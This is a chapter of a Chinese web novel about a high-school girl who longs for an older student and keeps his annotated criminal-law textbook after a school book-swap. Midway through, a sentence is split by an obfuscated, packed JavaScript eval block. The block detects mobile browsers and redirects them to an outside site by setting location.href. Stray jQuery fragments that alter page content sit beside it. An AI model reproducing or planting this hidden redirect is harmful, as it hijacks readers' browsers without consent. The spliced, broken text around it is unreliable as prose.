19. 身影

作品:《临春天

    「离别的滋味似乎来得格外快,席卷我全部感官。日子好像没什么特别,却又感觉完全变了。晚自习下课后再也找不到他的身影,我只能在升旗仪式的讲话上不断偷瞄他含笑的眼睛。」——@福音书与祷告文


    梁斯年对着司佳恩幸灾乐祸,又说了一遍草莓味是最难喝的味道,被司佳恩就地正法,逼他喝了一整瓶饮料。


    司佳恩一回来,梁大少作威作福的日子结束,鉴于他之前种种“不道德行为”,裴至峤并没有对向他求助的梁斯年伸出援手,一个人回班去了。


    下午,裴至峤去办公室拿语文卷子,正好碰上丁菡在跟云昭讲今年的作文大赛。


    比赛通知昨天下发,今天丁菡就通知云昭好好准备。国赛名额不多,丁菡很重视云昭的表现,想要再续去年的辉煌。


    但今年没有裴至峤,怕是很难拿下两个一等奖。


    云昭乖巧站在那儿,认真听文章的修改意见,却总是想起她和裴至峤一起获奖的那次。


    只可惜,照片已经不在宣传栏上。


    开门的声音惊动了云昭,她余光瞥见中途进来的裴至峤,但她没有任何与他接触的机会。最后,他们恰好一起出办公室,云昭这才有机会偷偷看他一眼。


    那一眼,他们的目光撞上,有一帧极其短暂的对视。


    然后,他们走向相反的方向。


    至此,时间按下加速键。


    两人的生活分别被比赛和升学占满,几乎再也没碰过面。


    晚自习下课,云昭继续埋头苦算那道她并不擅长的圆锥曲线。等分针走过六十度,她才收起桌上的书,走出教室。


    站在楼梯口,云昭等了三分钟,还是没见到裴至峤的身影。楼梯间的灯很亮,再也不会有一闪一闪的情况出现,云昭却怀念那晚坏掉的灯,和裴至峤温柔的叫她跟紧他的声音。


    这是她没等到裴至峤的第三个晚上,她一个人沿着林荫道走出校门,路旁的香樟经过两场春雨洗礼,酝酿着下一次花期。地面残留着潮湿的水痕,反射出站台上发光的广告牌。


    街对面的奶茶店没有生意不好的时候,云昭每次等车都能看见一群女孩子在笑着点单。七路公交车到站,车厢空荡,无人上下,短暂停留后又关了门。


    三分钟后,六路公交车驶向站台,云昭在常坐的后排,靠在窗户上,感受着车辆进入海棠盛放的梨园路。


    孤独的夜晚持续了一个周。


    周测的晚上,英语课代表生病请假,武滢点了两个英语成绩不错的同学去办公室改卷,云昭是其中之一。


    她们在办公室待了整个晚自习,改完自己班上的卷子后,看见教高三文一英语的钟老师生理期撞上感冒,整个人难受得很,又帮她改了一部分试卷。


    云昭在整理卷子,和她一起来改卷的陶永昕去帮钟老师接热水。


    “老师,卷子给您放这里吗?”


    钟双强撑着看了几眼卷子,夸云昭她们改得细心,没什么错漏的地方。


    “那你帮我拿到班上去吧,我待会儿去评讲。”


    云昭说好,陶永昕正好接水回来,她和云昭一起去送卷子。


    路上,云昭看了眼手表,现在是八点五十八分,下课铃会在两分钟后响。


    云昭不解的问:“不是要放学了吗?钟老师怎么还要去讲课?”


    “你不知道吗?高三从上周开始晚自习延长半小时,不跟我们一起放学。”


    陶永昕边走边跟云昭感叹:“高三强度也太大了,钟老师病成那样都不肯请假,还要给学生讲卷子。时间宝贵,真是一分钟都耽误不起。”


    云昭心下一惊,回味着陶永昕的话。她现在她才知道,高三晚自习延长了。


    她问:“为什么只有这一届延长了,以前都没听说过这事。”


    一中不会对高三生增加课时,一直强调要保证学生的休息时间,摒弃疲劳学习,云昭一直没想到裴至峤不出现是因为晚自习延长。


    陶永昕解释:“貌似是因为高三一模考得不太好吧,高三年级主任再三申请必须得给学生上点强度。”


    考得不好吗?云昭明明看见光荣榜上,裴至峤拿了一模第一。


    事已至此,纠结这些没意义,只是以后云昭晚自习下课再也等不到裴至峤。


    走到高三文一门口,云昭一个人进去放卷子,陶永昕在门外等她。


    几秒的间隙里,云昭抬头看了一眼教室里的人,视线在裴至峤身上停留一瞬。


    他低头在做题,没发现她来过一次。


    下课铃响得很准时,云昭回教室收拾书包。时钟依旧嘀嗒转,她却不会再等那十分钟。


    “小鱼,我们一起走吧。”


    “哎,你今天不在教室多留一会儿吗?”


    云昭和虞岁手挽手出教室,另一边的高三依旧灯火通明。


    云昭说:“不了,以后都不留在教室了。”


    反正再也等不到想遇见的人。


    再次坐上公交车,春天的晚风吹得人发冷,云昭把外套的拉链拉高,防止风灌进来。她靠着车窗,脑子混乱,觉得离别的滋味似乎来得格外快,席卷着她的全部感官。


    日子好像没什么特别,上课、写作业、听虞岁讲八卦,明明是和以前一样的生活,她却感觉完全变了。


    晚自习下课后再也找不到他的身影,这个曾经被云昭当作一天中最浪漫的时刻结束了。


    四月下旬,世界读书日。


    这周的国旗下讲话轮到高二文一,武滢和丁菡商量,把这件事交给云昭,让她写一篇和读书相关的演讲稿,周一去主席台讲话。


    云昭巡视一圈书架,视线落在《一个陌生女人的来信》上。茨威格的小说里,她最喜欢这本,中文和原版都看过好几遍,里面藏着她不想让人知道秘密。


    那个关于裴至峤的秘密。


    她的手停在这本书上,停了很久。


    最后,她取下了旁边那本《昨日的世界》。


    对云昭来说,带着秘密、带着裴至峤痕迹的书太特别,她无法分享给别人。


    于是,她选了另一本书。


    周末两天,云昭重温一遍小说,写好了国旗下讲话的演讲稿。


    周一上台,云昭其实并不紧张,她已经有过很多次国旗下讲话。她在台上讲述着茨威格的生平、这本书的创作背景,分享自己从书里读到的欧洲最好也最坏的时代。


    一切都很顺利,直到云昭的目光越过前面无数人,和站在最后的裴至峤对视上。


    在今天以前,这个学期的所有升旗仪式中,云昭都不曾看到裴至峤。当他不再以学生会检查的身份站在她班级旁边时,云昭才知道转头看他一次有多困难。


    今天,因为她站在台上,所以她不用回头就可以看见他。尽管距离远,但云昭有一双视力极好的眼睛。


    云昭看见他在微笑。


    他的视线一直追随她,的的确确是在笑着。


    云昭的心乱了一拍,扑通扑通的心跳搅乱了她演讲的思绪。


    她不敢再看他,把注意力全部集中在演讲稿上,有惊无险的说完。


    下台前,云昭往最后一排看了几次。她不自觉的在脑海中对比现在的他和上次见到的他有什么不一样。


    得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285563|197773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出的结论是,他的头发长了一点,遮住了眉毛。


    失去晚自习后和他一起走出校门这个契机后,云昭只能在升旗仪式上偷瞄他,看他那双含笑的眼睛。


    当目光越过重重阻挡相遇时,云昭不明白,裴至峤看向她的眼神是偶然还是刻意。


    23号,世界读书日当天,一中举办了一场读书交流会,同学们可以把自己想分享的书放进阅览室,同时可以阅读别的同学分享的作品。


    虞岁吐槽,学校就爱搞这些花里胡哨的。这个时代,能认真读完一部文学作品的人有多少,大部分人的注意力不是被偶像剧吸引,就是沉浸在游戏里。让他们推荐书,简直是难为人。


    阅览室的展示架零零散散的摆着几本,大部分是文科班的学生贡献的,理科班更是拿不出几本。


    云昭把她国旗下讲话的那本书放了过去,不过她想,应该没什么人会看。学习压力已经很大了,谁不喜欢轻松的娱乐活动,经典文学作品看起来太费劲。


    除非有人特别喜欢文学。


    书放在那里好几天,云昭忙于期中考,一直没多余精力关心。


    直到期中考完,交流活动最后一天,她独自去阅览室取回自己的书。


    这时是晚饭时间,阅览室一个人也没有。


    展示架只剩两本书,孤零零的放在那里,傍晚天色渐暗,云昭从中读出了一丝可怜的意味。


    云昭走近看,一本书是余华的《第七天》,另一本……是《刑法学讲义》。


    熟悉的书名出现,云昭不认为这是巧合。


    她想不出除了他,谁还会看这本书。封面上残存着使用的痕迹,反映出他经常翻阅。


    云昭颤抖又挣扎,翻开了书的封面,看见扉页上用行楷写了一个裴。


    这是裴至峤的书。


    云昭肯定。


    好奇心作祟让她想继续往下翻的时候,阅览室来人了。


    “同学,你是来借书的吗?”


    阅览室值班的同学吓了云昭一跳,他把借阅登记表拿给云昭,提醒云昭借书要登记。


    云昭说:“不是,我是来拿我自己的书。”


    但她那本《昨日的世界》并不在展示架上。


    云昭问值班同学:“交流会的书只剩这两本了吗?其他的呢?”


    “其他的都被拿走了吧,这两本一直没人来拿,我们待会儿就要收走了。”


    云昭问:“那收走后的书会怎么办?”


    “不知道,大概会被学校统一处理吧。”


    阅览室地方不大,总不能把没人要的书一直摆在这儿。


    云昭的思绪停在他说的那句要把书收走处理上。


    她想:好可惜,这本满是裴至峤痕迹的书要被销毁。


    值班同学催促云昭:“你的书是哪本,请快拿走,我们要锁门了。”


    云昭在展示架上仔细翻找,还是没找到自己的书,最后,她的视线落在裴至峤的书上。


    既然结果都是一样,那么是谁处理的是不是无关紧要。


    在反复挣扎和不耐烦的催促中,云昭伸手,从展示架上拿下那本《刑法学讲义》。


    那一刻,云昭的想法仅仅只是想替他保存下这本书。


    就是好可惜,她放在这里的书不见了,她写了好多笔记在上面呢。


    她想,也许是有人忘了还回来。


    这场读书交流会举办得并不成功,据说后来很多届,一中再也没有举办过这个活动。


    意外得来的书被云昭放在书架的最高层。


    后来很多年,也再也没有人重复他们的阴差阳错。